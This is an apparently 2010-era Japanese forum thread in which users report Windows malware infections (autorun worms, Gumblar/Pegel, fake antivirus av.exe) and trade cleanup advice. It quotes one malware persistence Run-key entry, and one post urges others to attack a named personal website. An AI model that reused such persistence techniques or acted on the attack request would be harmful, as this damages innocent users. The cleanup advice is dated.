誤検出だろうと思ってそのままdaemonさんをアンインストールしてしまったのですが
今になって急速に心配になってきた次第です。
こういった誤検出はよくあることなんでしょうか？

なおアンインストールは普通にできてるみたいです。
（daemonを終了してからアンインストール実行しないと無反応だったのがちょっと気にかかるのですが）

【使用OS】　xp pro sp3
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフト】　avast→感染！駆除できず...現在kaspersky(駆除できず)
【Microsoft Update（MU）の状態】　「最新」
【ルータの有無】　「有」
【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
主な症状がフォルダオプションのすべてのファイルとフォルダを表示するで反映されなくなり隠しフォルダが見えなくなってしまって
怪しいなと思ってウイルス検索を掛けたら
"06.exe" "ce.exe" "oothsoru.exe"というのが各ドライブ直下で発見されました。
[すべてのファイルとフォルダを表示する]や上記のウイルス名でぐぐってもめぼしき情報が得られず、
セーフモードで立ち上げregeditでフォルダオプションで見えるようにする項目を0から1に変えてもすぐ戻ってしまいます。
この問題を経験された方や知恵のある方、よろしけばご教授ください。

avast! ブートスキャンは試した？

【使用OS】　「WindowsXP Professional SP2」
【Microsoft Update（MU）の状態】　「自動更新」
【使用セキュリティソフトとバージョン】　「Avast4.8 Home Edition」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「自動更新」
【スパイウェア対策ソフト】　「同上」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「同上」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「C:\WINDOWS\system32\apkruisi.dll」
PCを立ち上げてすぐ検出しました。
昨日は特に何もしていないのですが・・・
とりあえずチェストへ移動しましたが、どなたかよろしければご教授願います。

>>384
>>386
とりあえずウイルスをうｐしろ

【使用OS】　Win XP Pro SP3
【Microsoft Update（MU）の状態】最新
【使用セキュリティソフトとバージョン】MS Security Essentials
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】最新
【スパイウェア対策ソフト】Ad-Aware
【スパイウェア対策ソフトの更新は定期的に行なっているか】YES
【ルータの有無】有

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
Backdoor:Win32/TofseeI っていうウイルスが 検出されますが、
削除しても削除してもまた検出されました。と出てきます。
対処方法教えて下さい。よろしくお願いします。

>>388
追加:
これらしいんですが、肝心な対処方法が無いんです><
http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Backdoor%3AWin32%2FTofsee.I&ThreatID=-2147346214

>>389
そこのリンクの中にBackdoor:Win32/Tofsee.F(Tofsee.Iは亜種だろう)のリンクがあるから参考にしてみては？
しかし基本のRunエントリの登録をはじめ、あちこちにばらまいてるみたいだな・・・

ttp://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Backdoor%3aWin32%2fTofsee.F

>>383
「W32.SillyFDC〜」ってのはオートランマルウェア（自動で走り出すウイルス）の呼称
IPA 情報処理推進機構
●Windowsの自動実行（オートラン）機能を無効にする ※USBメモリの使用に関わらず必ず適用しておくこと！　→　PC再起動
ttp://www.ipa.go.jp/security/txt/2009/05outline.html
・・・そのdaemonをダウンロードしたサイトURL覚えてたらavastへ確認依頼のMailを出せばいいよ

>>388-390
ttps://www.virustotal.com/analisis/5d472d1b0dd642bd02cecbd1f85c830d25a967bd3b31803dfa973995df0d4098-1264202589
　　↓
higaitaisaku.com - Windowsをセーフモードで起動する　→　Windows XPの場合　→　セーフモードスキャンで駆除を試みてください
ttp://www.higaitaisaku.com/safemode.html

MS Security Essentialsは他のセキュリティソフトをと併用できないのが難点なんだよなぁ

お助けください・・・

【使用OS】　「Windows　XP　pro」
【Microsoft Update（MU）の状態】　「」
【使用セキュリティソフトとバージョン】　「avast」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「自動
【スパイウェア対策ソフト】　「同上」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「同上」
【ルータの有無】　「有」
【スキャンの結果何が検出されたか】 win32:Malware-gen

最初はトロイとマルウェアが検出されたのですが
全てチェスとにうつし再起動しましたところ、win32:Malware-genが消しても消しても
復活してしまう状態になってしまいました。
そこで、LANケーブルを抜いて起動しましたところ
反応しなかったので、直ったかな？と思い、そのままLANケーブルをさしたら
すぐさまwin32:Malware-genが検出されました・・・

オンラインのウィルスバスターで検索しても
何も検出されず、潜伏型ウィルス？と思われます・・・

PCの挙動もおかしくブラウジングがスムーズじゃなくなっております・・・

どうしたらいいでしょうか

書き忘れましたがexeファイルを実行したことにより感染してしまいました・・・

>>392
ざまぁwwwww

テンプレにある解析サービスで調べてみましたところ
Packed.Win32.Krap.agというのが入ってたようですorz

http://www.virustotal.com/jp/analisis/f1d3e27ddeb7074fd38ae8754a907e9da67b5af6ad24607e427f831ca0bbc232-1265264348
結果をこちらにお貼りします。

ベンダーごとでウィルスの名前が変わってしまって
ウィルスの詳細を調べることができないのですが
avastでは無反応だったので、かすぺの無料を入れて検査駆除した方がいいのでしょうか？

ただいまセーフモードにてavastで完全検査してますが
ものすごく時間かかりそうですorz

>>384
うちも06.exeの方だけですが同じウイルスが見つかりました。
色々調べた結果USBから感染していたようで、autorun.infというファイルも一緒にあると思います。
ttp://orbit.cocolog-nifty.com/supportdiary/2009/05/usbautoruninfmm.html
ここのサイトを参考にしたのですが、autorun.infの名前を変えて、再作成されないようダミーを作って、
隠しファイルを表示させて、06.exeを削除した後、06.exeについてもダミーを作れば完全に削除できました。
ただ、各ドライブにあるので削除漏れがあればまたそこから広がってしまいますが…。

しまんてっくで検査したら
Backdoor.IRC.Botと結果がでましたｏｒｚ

ウィルスに感染しちゃったよぉ
しかもBackdoor.IRC.Botとかたち悪い奴だ・・・
修復インスこじゃまずいかな？
おとなしくクリーンいんすこ？＞＜

>>399
So-net
パソコン内に忍び込む〜ボット(BOT)ウイルスってなに？
ttp://www.so-net.ne.jp/security/taisaku/bot.html

クリーンインストール完了しました！

ただいまオンラインスキャンで再検査しております

無事解決したようです。
お騒がせしました

初めて書き込ませて頂きます。
私はデイトレで生計を立てている者です。

実は、最近になって自分のPCの内容が
どこかで晒されてるらしいという事が分かり、
今、その場所・原因などを探しているのですが、
その過程でこのスレに辿り着きました。

そこで、ここの住民の方に質問したいのですが、

『最近、どこかでデイトレ中の画面・音声などが
リアルタイムで晒されている』

という情報をご存知の方はいないでしょうか？
何か知っているからがいたら、教えてください。
よろしくお願い致します。 m(_ _)m

あまりにも不用意すぎて怒られたり、情報を頂けないかも分かりませんが、
ぜひ、教えて下さい。

ウイルスソフト等をインストールせずに、Microsoft Updateのみで、
今まで、PCを使っていました…

昨日、PCを起動したら、何回も「vwke.exeを終了します」と言った
メッセージが出て、HDDは動きっぱなし、Cドライブの直下に、
lsass.exe、vwke.exe、gcoiu.exeと、3つの見知らぬファイルが
出来ていました。gcoiu.exeは普通に削除出来たんですが、
vwke.exeは、基本的に削除不可。たまに削除出来ても、また、
すぐに出来るって感じで、lsass.exeは全く削除出来ませんでした。

ウイルスソフトもなく、オンラインスキャンをしようにも、ネットに
接続するのが怖かったので、結局、何のウイルスか調べもせずに、
リカバリをかけて、今は、何もないように思われます。

ちなみに、データを退避しようと、SDカードを突っ込んだら、
autorun.infとautorun.exeがSDカード内に出来てしまい、
PCのリカバリ後、SDカードからそのファイルを削除したのですが、
オンラインスキャンをかけたところ、削除したにも関わらず、
SDカードドライブ:\RECYCLERって場所のautorunがウイルス検出
されました。オンラインスキャンが削除した模様ですが、
手動でドライブ内のファイルを削除しても、プロパティでまだ、
使用領域で数KB存在していたので、とりあえずフォーマットして、
オンラインスキャンする事で、今は大丈夫かと思います。

この一連の事象から、どんなウイルスに感染し、どんな活動が
行われていたか、感染に気付かず、昨日以前に感染していたと
して、ネットに繋いだ場合、どんな事が考えられるかなど、
教えていただけないでしょうか？

よろしくお願い致します。

阻むソフトが無いから
よってたかって情報レイプされた状態
乗っ取られた環境は、次々に悪意を呼び寄せて更に拡散の踏み台にされる

先日、講義中に「いちきゅーにいちろくはちぜろちょんいち！」って叫んだ学生がいた
何かあったんだろうか

ちょっと覗いただけですが。
>>237 は、どうなりましたか？

コイツムカつきます
感染実験してやって下さい
http://www.maru-tetsu.jpn.org/maru-tetsu-life/

VistaHomePremiumです。
ヤフーオークション見てたら、画面が真っ黒になりました。

Gumbler等のウイルスに感染してるかもしれないと思い、
ＮＴＴフレッツ光のセキュリティソフトでスキャンをかけましたが
ウィルスは検出されませんでした。
セキュリティソフトのアンインストール、インストールが煩雑なため
他のセキュリティソフトではチェックしていません。

Gumblerに感染しているかどうか
他の方法でチェックした方が良いのでしょうか？
お薦めの方法があれば教えて下さい。

偽の Adobe Reader アップデートでウイルスに感染する事例
http://tsushima.2ch.net/test/read.cgi/news/1266906386/l50

ＶＤＳＬをやめて専用線にする

>>410
>>9にあるオンラインスキャンを試したら？

【使用OS】　Vista
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】　MSE
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　最新
【スパイウェア対策ソフト】　Ad-Aware　8.07
【スパイウェア対策ソフトの更新は定期的に行なっているか】　行っている
【ルータの有無】　あり

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
今のところなしなのですが、

1）Tempの下にpdk/1bb604da0534c66b6d5f15709bd70210.dllなどのファイルを作成される
2）Windows/System32/以下に
　　7B296FB0-376B-497e-B012-9C450E1B7327-2P-1.C7483456-A289-439d-8115-601632D005A0
　　7B296FB0-376B-497e-B012-9C450E1B7327-2P-0.C7483456-A289-439d-8115-601632D005A0
　　
両者ともファイル名を検索するといくつかひっかかるのですが、今ひとつはっきりしません。
2）に関してはアクチベーションがらみとも思われるのですが。

vistaのウィルス誤認（？）について相談させてください。
使用ＯＳはVistaです。
昨日、Ｃで書いたプログラムをコンパイルして実行すると
この方（　http://d.hatena.ne.jp/fkm/20071116　）が書いてらっしゃることとまったく
同じことが起きました。（コンパイルもgcc使っていてこの方と同じです。）
Vistaでは実行ファイル名a.exeやb.exeがランタイムエラーを起こすとウィルスと勘違いされるらしいのですが
このような経験をされた方他にもいらっしゃいますか？
ちなみに、僕が実験するとa.exeとb.exeではソースは同じでも検出されるウィルスの種類が違いました。

[環境]Cドライブ:WindowsXPproSP2,Dドライブ:VistaUltimate,
Hドライブ:Windows7Ultimate（マルチブート環境）
[状況]
Winows7がウィルスに感染している可能性があると思い。
XPでオンラインスキャン等を行ったところ、

(1)SymantecSecurityCheck(ウィルス検出)で次のメッセージが表示されました。

H:\Windows\winsxs\x86_microsoft-windows-tvencdec_31bf3856ad364e35_
6.1.7600.16385_none_e04e6c93efba3643\EncDec.dll は　
Packed.Generic.271 に感染しています。
H:\Windows\System32\EncDec.dll は　
Packed.Generic.271 に感染しています。

(2)トレンドマイクロのオンラインスキャン、ＡＶＧ９．０でのスキャンでは
何も検出されませんでした。

どうすれば良いのでしょうか？
よろしくお願いします。

追加情報です。
今、Symantecのノートン　アンチウィルスの体験版をダウンロードして
スキャンしたところ、ウイルスは検出されませんでした。

連投で申し訳ありません。別件（多分）の質問です。

ヤフーオークションにログインするパスワードを忘れたので、
ヤフーのホームページで調べようとしたら、
本人確認のために、クレジットカードの番号入力を求められました。
これってフィッシングじゃないでしょうか？
ＵＲＬは次の通りです。
https://account.edit.yahoo.co.jp/forgot

授業のノート家でネットに繋げＩＥ立ち上げると
ttp://216.12.144.90
へ接続し数字の羅列が出る。何かウィルス貰ったかな？エロ動画専用機。

【使用OS】　「Windows Vista」
【Microsoft Update（MU）の状態】　「UPDATEした」
【使用セキュリティソフトとバージョン】　「使用していない」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「AVG９」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
DELLのメインPCがタコイカウイルスにやられました。
とりあえずすぐにタスクマネージャでウイルスを強制終了して
見た目が変化していない無事？だったファイル（主にアニメとエロ動画）をUSBメモリに保存。
駆除のため、セーフモードで再起動しようとしたところ
raid0構成していたHDDがクラッシュして？起動せず。リストアもできない。

Windows Boot Manager
windows failed to start.A recent hardware or software change
might be the cause.To fix the problem:

まあそれは仕方ないとして、予備のノートで無事だったファイルを利用したいのですが
AVIRAを入れてこのファイルを開けば問題なく利用出来るのでしょうか？
それとも破棄した方がいいのでしょうか？

あとAviraとAVGの競合を考慮すればAVGを消した方がいいのでしょうか？

【使用OS】　「Windows7」
【Microsoft Update（MU）の状態】　「最新の状態です」
【使用セキュリティソフトとバージョン】　「AVG9 free」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新です」
【スパイウェア対策ソフト】　「spybot-S&D」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「気づいた時に更新しています」
【ルータの有無】　「有り」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
何が検出されたという事ではないのですが
タスクマネージャーを起動し、プロセスを見てみると
「csrss.exe」というものが２つありました。
プロパティを開いてみて場所を確認しても、二つともsystem32という場所にあるみたいです。
ウィルス検索をしてみても反応がありません。
これはウィルスなのでしょうか？
今の所異常は何もないのですが、少し不安なので質問させて貰いました。

【使用OS】　「WindowsXP SP3」
【Microsoft Update（MU）の状態】　「最新の状態」
【使用セキュリティソフトとバージョン】　「Kingsoft Internet Security U SP1」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「Ad-Aware」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「最新」
【ルータの有無】　「有り」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
何も検出されず。
普段IEは使用しないので、表示していないのですがいつの間にかデスクトップにIEのアイコンが表示されており
気になって見てみると、デスクトップにIEが2個あります。片方は元々入っているIE8でウィルスっぽいのがIE6のアイコンです。
右クリックしてみると「open(O)、 ハ・ヤ(D)、 切り取り(T)、 ショートカットの作成(S)」の項目が出ており、削除しようにも削除を受け付けてくれません。
削除する方法はありますか？

【av.exe】削除の方法が分かる方よろしくお願いします。

opera9.64でウェブを閲覧中にavastから警告
その後にXPのセキュリティセンターが起動
直後に英語のXP internet security unregistred version　というXPのセキュリティセンターそっくりのソフトが起動
こんな感じ→http://www.virusremovalguru.com/wp-content/uploads/2010/02/xpanti2.JPG
（※ただし、↑の画像のAntiapayware2010の部分がinternet security unregistred versionとなっている）
赤色の進歩状況とともに37個ぐらいのスパイウェアを検出していく・・・という画面になる
検出が終わるとregist（登録）するように促す画面になる。
タスクマネージャーを見ると
av.exe
という見慣れないプログラムが動いていた。
終了させると先の「英語版のXP internet security unregistred version」は終了する
av.exeで検索したらVirus Removal Guruというウイルス駆除サイト
http://www.virusremovalguru.com/?p=5548&lang=ja
が見つかるのだが
コンピューター翻訳したような日本語でいまいち削除のしかたがわからない。

【使用OS】　XPSP2
【Microsoft Update（MU）の状態】　更新を通知　手動でダウンロード
【使用セキュリティソフトとバージョン】　avast 4.8 home edition、 Sygate personal firewall 5.6 build 2818
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「avastは最新」
【スパイウェア対策ソフト】　「spybot 1.6.2.0」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「いいえ」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「スキャンはまだしていない」

・spybotでスキャン・修正・削除
・ディスククリーンアップ
・ウィンドウズ復元ファイルを削除
・レジストリクリーナー（NTREGOPT）
これで解決したみたいです。

>>424つづき
spybotの検出結果
■Microsoft.Windows.FileExe 1エントリ Security
(SBI $D204F52E) 設定
HKEY_CLASSES_ROOT\.exe\(is not) exefile レジストリ変更

■Microsoft.WindowsSecurityCenter.AntiVirusOverride 1エントリ Security
(SBI $3604910C) 設定
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\AntiVirusOverride (is not) dword:0 レジストリ変更

■Microsoft.Windows.SecurityCenter.FirewallOverride 1エントリ Security
(SBI $0C94D702) 設定
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\FirewallOverride (is not) dword:0
レジストリ変更
（以上の３件）を修正・削除後にも>>424の症状になる。
Windows復元ファイルを削除してレジストリクリーナーNTREGOPTをかけたら出なくなりました。

※avast4.8のスキャンでは何も検出されない
※この際ウィンドウズの更新（セキュリティ関係の）をしました。
※>>424のようになった時にWindowsファイアーウォール及びセキュリティセンターを起動しようとしても
代わりに「英語版のXP internet security unregistred version」が起動してしまいます。
※>>424の3行目
>その後にXPのセキュリティセンターが起動
この時ファイアーウォールとウイルス対策が無効になっていました。
もしかしたらニセの画面だったのかも
※とりあえずav.exeを終了するにはタスクマネージャー＞プロセスの終了

対策を教えて下さい。

アダルトサイトを見ていましたら、「あなたは会員になりました」みたいな
文言が表示されたので、何もせずにすぐにブラウザを終了しました。
その後、約３分毎に、『登録完了しました。有料アダルトサイトへのご登録
ありがとうございます。お客様は正規の手順を経て、当サイトにご登録され
ましたので、料金が発生しております。ご登録情報やお支払い方法、この画
面の削除方法など詳しい内容は右下の「確認ボタン」をクリックしてご確認
下さい。…この画面は、ご入金確認後に右下の「確認ボタン」をクリックす
れば削除できます。…』という文言等が表示された画面が表示されるように
なりました。

この画面を出なくするには、どうすれば良いのでしょうか？

ＯＳはXPsp2です。
セキュリティソフトはNOD32 3.0.657.0が入っていますが
検知、隔離等はされていません。

なお、法律スレでも質問しますが、違法性についての質問ですので
マルチではありません。

よろしくお願い致します。

多分ワンクリウェア。スタートアップからサイト名っぽい項目の消せば治まる。

>>426
とりあえずアダ被に同じような事例がある
ttp://bbs.higaitaisaku.com/cbbs.cgi?mode=al2&namber=105685&no=0&KLOG=9
ttp://bbs.higaitaisaku.com/cbbs.cgi?mode=al2&number=106033&rev=&no=0

たぶんrunエントリに↓こんなのがあるはず
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
[webbackf]
rundll32.exe "C:\ProgramData\backf\message.dll",_goMES@16 C:\ProgramData\backf\9XY1XX19.hta

レジストリから削除して再起動
起動後一応
C:\ProgramData\backf\9XY1XX19.hta
を削除
ただし9XY1XX19.htaは別名かもしれない
レジストリ等をいじるので自己責任で

アダルトサイトにアクセスした前日くらいの日付で「システムの復元」の方が楽かな・・・

>>427,428,429
レスありがとうございます。
やってみます。

また割れ厨のスクショと個人情報が晒されてるぞ　6
http://tsushima.2ch.net/test/read.cgi/news/1269003186/

新種？なんで突然増えたの？

今日発売のエロゲに仕込まれていたからでしょ。

そういう事なのか、ありがとう
相当人気あるタイトルって事かぁ

>>427,428,429

システムの復元で解決しました。
ありがとうございました。

とあるＵＲＬを踏んだらノートン先生がウィルス検出し「駆除できませんでした」と表示がでてＰＣがまともに起動しなくなりました。
ノートンの表示を覚えていないのでどんなウィルスなのか分かりません。
再起動してもマウスポインタがずっと砂時計で何も操作できません。
今は別のＰＣから書き込んでいます。

そこで質問なんですが、そのＵＲＬを調べてくれる猛者が集うスレなどありますか？

自己解決しました

けっきょくなに踏んだの？

Gumblarだったみたい
セーフモードでシステムの復元してＰＣは操作できるようになったけど
それだけで駆除できたのか分からないから今確認中．．．

リカバリしたほうが疑心暗鬼で使うより精神的にもいいとおも

>>424
昨夜自分もかかった
AntiSpyware/Antivirusの偽プログラムで一種で色んなバリエーションがあるようだ
>>424-425と似てる点違う点をあげると
・ファイアーウォールとウィルスガードが無効になり設定をいじれなくなる
・そして危険だ！解決するならこれらのファイルを削除しろ＆登録しろと催促するソフトが起動するのも一緒
・自分の場合のそのソフトの名前は XP Smart Security
・Process Explorerで見知らぬプログラム発見　ave.exeというものだった
・とりあえず切るとXP Smart Securityも消えるがほかのソフトを起動させると復活しアラートの嵐
　どうやら.exeに関連付けられてる様子
・Spybotでの検出結果は>>425と一緒、削除しても復活も同じ
・Ad-Awareは起動できなくなった
・ネットで調べようとブラウザを起動させると
　“Internet Explorer (FireFox) alert. Visiting this site may pose a security threat to your system!”と
　アラートが出て接続不可になる　（ave.exeを切ると繋がる場合があった）
・Spybot、ウィルスバスター、AntiVirを試したが本体は発見できず
　AntiVirではドライバが感染していると誤ったアラートを出してきた（復旧後チェックし直したら検出せず）

で結局自分は下記ページの手法で駆除しました
http://www.myantispyware.com/2010/03/19/how-to-remove-ave-exe-malware/
参考になれば幸い

こんにちは、ここはセキュリティに詳しい方がいるようなので質問させてください。

ただいまウイルスと格闘中でほぼ大丈夫かとは思うのですが
また繋げられなくなるかも知れないので単刀直入にお伺いします。

今年になってyahooBB ADSL　トリオモデム４０Ｍ　をvistaに繋いだのですが
ネットに繋ぐと数十分、ひどい時は数分間隔で

「不明なコンピューターが接続しようとしています。」
「接続を許可しますか？」

という内容の警告が発せられます。
以前ＸＰを使っていた時はこういう内容の警告メッセージはなかったので
不安に感じています。

今まではＸＰのファイアーウォールが遮ってただけで
こういう不明なアクセスはこんなに頻繁にあるものなんでしょうか？

それともyahooBB、あるいは新しく交換した新型ADSLモデムに問題があるのでしょうか？
解かる方、または何か情報をご存知の方は是非教えてください。

現在は様子を見ながらネットに繋いでいる状態です。
大丈夫そうなら自分でもぐぐって調べてみますが
よろしくお願いしますｍ（＿　＿）ｍ

ルータは使ってないの？

昼間書き込んだ>>441です。

自分も>>424　>>440　の方と同じav.exeにやられてました。

あの後１時間ほど試しにネットに接続して調べ物などした後
確認の意味でノートン、スパイボット、Malwarebytes' Anti-Malware
の三つでフルスキャンして確認したところ、なんとか今回はウイルスを退治できたようです。


先の二人に補足で書いておくと侵入時はave.exeの名前で入ってきて
ファイアーウォールの無効化、ファイアーウォールの設定不可の
レジストリを書き加えた後でav.exeへと自分で名前を変えているようです。（実験済み）


症状も検出結果も先の二人と同様ですが、自分の場合はプロセスを
切っても切らなくてもネットへの接続が可能でした。
手順を踏むとファイアーウォールは掛けられるのですがそれも画面上の話で
確認した結果、内部処理的にはav.exeが動いた時点でファイアーウォールは無効化されていたようです。

bufferzone
というフォルダ下はウイルスが検索しないって聞いたんだけど本当？
それとは別に
mydoccument以外に入れとくと安全とかそんなの無い？

bufferzoneってサンドボックスか何かじゃないの？

やっぱガセ？
ググるとこんなのはあるけどフォルダとしてどーとかは見当たらない
http://www.virtualization.info/jp/2010/03/trustware-bufferzone-pro-33020100304-3.html
でもウイルスが読み取るファイルって決まってるんだよね？
全件舐めてたらバレるし
例えば
windows\tempとかのフォルダにすると良いとかないの？

windows\tempは実際システムで使ってた＾＾

http://www.garysinise.com/
ここのサイトをクリックしたら、トロイの木馬がって表示が出てしまった
慌ててサイトの接続切ったんですが・・・・大丈夫かな（汗）

怖くてＰＣが切れません。

>>448
ガンブラー注意
Trojan-Downloader.JS.Pegel.f

>>449
教えてくれてありがとう御座いますm(__)m
ＰＣに詳しくないので、色々調べてみます

【使用OS】　XPpro sp3
【Microsoft Update（MU）の状態】最新です
【使用セキュリティソフトとバージョン】　avast
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】最新です
【スパイウェア対策ソフト】　spy-bot
【スパイウェア対策ソフトの更新は定期的に行なっているか】　最新でブラウザを免疫しています
【ルータの有無】　有　セキュリティレベルは最高にしています

今朝PCを立ち上げようとしたら、アカウント画面まで行かずにその直前でストップ
しばらく待ってみると何やらHDDにアクセスしてる様子、怖くなり強制再起動して
もう一度以前正常起動時の構成で立ち上げようとしたら一瞬ブルー画面になり強制再起動
デュアルOSなので2kの方で立ち上げたら、一応立ち上がったのですが何やら様子がおかしく
ブラウザの設定やフォルダの設定、アプリケーションの設定などが初期化されてる様子、
しかも何もしてないのにHDDのアクセスランプは点灯し続けている感じです
とりあえずシステムドライブ以外を全部外して、立ち上げてみると今度は立ち上がり
ウイルスチェックをするとWIndows memory.dmp にトロイの木馬が感染しているとありました
memory.dmpにウイルス？AVASTはよく誤動作をするので真偽はイマイチわかりませｎ

今は怖いのでとりあえずサブPCから書き込んでいます。
直前にやった行動といえば、acronis true image 11をインストールしたまますぐ再起動せずにしばらく放置
VP7コーデックのインストールと、Directxの最新ランタイムを入れたくらいです
ブラウザはfirefoXとoperaで色々行ったので良く覚えていないのですが2日ほど付けっぱなしにしていました
あと、数日前に400GのHDDを1.5Tと付け替えたくらいでしょうか
電源の容量は400WでHDDを5台つけているのでちょっとキツイかな？と思うのですが
CPUはE4300でGPUは8600GTSなのでさして電力も食わず、電源のメーカーはHECの400で12Vは14+15の29Aです
特に問題なく今までは動作していたのですが、電源のへたりが原因にしては挙動がおかしいし
それともシステムではなく他のドライブにウイルスが感染しておかしな動作をする事もあるのでしょうか？

失礼、書き忘れておりましたが、ウイルスの種類はwin32:jomloon-Dと出ていました
別のオンラインスキャンで調べればよかったのですがうっかり削除してしまったので詳しい確認ができません
一応削除して再起動しても復活してる様子もないし、トレンドマイクロのオンラインスキャンでも問題無し
念のためERDNTで保存してあったレジストリを復元したのですが、やっぱりクリーンインストールした方がいいでしょうか？

質問なんですが、一昨年の12月にメッセンジャーを経由するウィルスにかかりOSを再インストールしたのですが、
その際にどうしても残しておきたかったファイルを消える前に別のHDDに保存しておきました。
もしかしたらこのファイルにもウィルスが残っているのではと思いずっとそのままにしてあるのですが、
先日ためしにネットを切ってこのHDDをつなげスキャンしたところウィルスは発見されませんでした。
このファイルは普通にネットにつながっているPCにもどしても大丈夫でしょうか？
もしどうしてもダメならばネット等をつながない隔離した専用のPCを用意しようかと思います。

上の方にも書かれてますがave.exeとかいう実行ファイル名の
マルウェアにやられました。
駆除の方はいろいろ調べてなんとかなりましたが・・・

これはFirefoxを使ってWeb見てるだけでも感染したみたいなんですが
Web見ただけでやられたのは実は初めてでした。

教えて欲しいことがあるんですが、
ActiveXも使わないようなブラウザで、ブラウザの何の仕組みを使うと
実行ファイルが勝手にダウンロードされて
さらにこちらに気づかずに勝手に実行されてしまうんでしょうか？

なんか専用のセキュリティツールでも入れればガードできるんでしょうが
極力ピンポイントにガードを抑えたいんです。

>>454
日頃から各ソフトウェアをしっかり更新していればある程度防げるけど
ピンポイントにってのは無理

ドライブバイダウンロードでぐぐるとわかるんじゃね
こういうの
http://itpro.nikkeibp.co.jp/article/COLUMN/20100309/345583/

>>452
不安ならクリーンインストールのほうが安心安全

>>453
諦めきれないエロ動画なら別PCで確認すればいいんじゃね

本文長すぎますと出てしまいましたので、
2回に分けて投稿させていただきます。

【使用OS】　「Windows XP SP3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「Avira AntiVir Personal - Free Antivirus　9.0.0.18」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「なし」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「なし」
【ルータの有無】　「あり」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「ファイル'C:\Documents and Settings\ユーザー名\Local Settings\Temporary Internet Files\Content.IE5\U1UK58SO\right[1].htm'
　にウイルスまたは不要プログラム'JS/Pegel.B.28'[virus]が含まれていました
　実行されたアクション:
　ファイルは'4c138ac5.qua'に移動されました。」

　上記のような検出がファイル名それぞれ違って120個ほど1回の完全スキャンで出ました。
　別PCから手打ちしているのでアドレス等が一部間違ってる可能性がありますが、
　大まかなファイルの場所は上記の通りです。

●質問１
Pegelというウイルス名で検索したところ、
「Kaspersky Labs Japan、「Gumblar 亜種に続く、Pegel 対策に関する留意点」を告知」
というニュースサイトの記事で
「カスペルスキー製品では、現在出まわっている新型の脅威に対応しており、
同社では、感染の確認ならびに駆除を行うために、評価版の利用を促している。 」
という記述を見つけたのですが、
これはカスペルスキーの試用版を入れれば完全に駆除されるのでしょうか？

一部ニュースサイトではクリーンインストールするしかないといった記述もあったのですが、
できればウイルス対策ソフトで駆除したいと考えています。

●質問２
ウイルスバスターとAvira AntiVirで完全ウイルスチェックして
ウイルスが検出されなかったPCを現在使用していますが、
Avira AntiVirで２つのファイルが以下のような警告としてレポートに出ました。
　C:\pagefile.sys
　 [警告] ファイルを開くことができませんでした。
　[注意] このファイルは Windows システム ファイルです。
　 [注意] このファイルを開いてスキャンすることはできません。
　C:\Windows\System32\drivers\sptd.sys
　 [警告] ファイルを開くことができませんでした。
上記ファイルは特にウイルス感染は気にしなくても大丈夫でしょうか？

（なお、ウイルスを発見して現在までの流れは以下の通りです。
　本日ネサフ中Pegelウイルス検出→自PCにて完全ウイルスチェック→自PCで同ウイルス検出
　→Avira AntiVirでウイルス修復（おそらく駆除と思われる）を実行→PC再起動
　→再びPC完全ウイルスチェック→ウイルスは検出されず
　→念のため、別PCよりこちらのスレに質問。）
　
長文すみません。ご教授よろしくお願いします。

1. クリーンインストール
2. virustotal

誤検出じゃないかな

nua.exeがノートンで反応してくれないのですが、
どうしたらいいでしょうか？
タスクで消そうとしてもアクセス拒否でなんにも出来ない状態です。

うぉ、テンプレ貼り忘れ失礼
【使用OS】xp
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】ノートン最新
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　最新
【スパイウェア対策ソフト】spybot
【スパイウェア対策ソフトの更新は定期的に行なっているか】行っています。
【ルータの有無】なし

>>462
該当ファイルを“右クリックコピー”して、適当なフォルダへ貼り付け→Symantecへコピーファイルを直にアップロード
■疑わしいファイルの提出 - Symantec Security Response 〔Upload a suspected infected file〕
　*ファイルや圧縮ファイル〔Password無し、File数9個未満、10MB未満〕やtxtレポートで調査依頼の提出が出来ます
https://submit.symantec.com/websubmit/retail.cgi　（記入例 ttp://i50.tinypic.com/29wn6ti.jpg ）

http://pc11.2ch.net/test/read.cgi/sec/1269604867/7　を実施
http://pc11.2ch.net/test/read.cgi/sec/1269604867/9　を実施

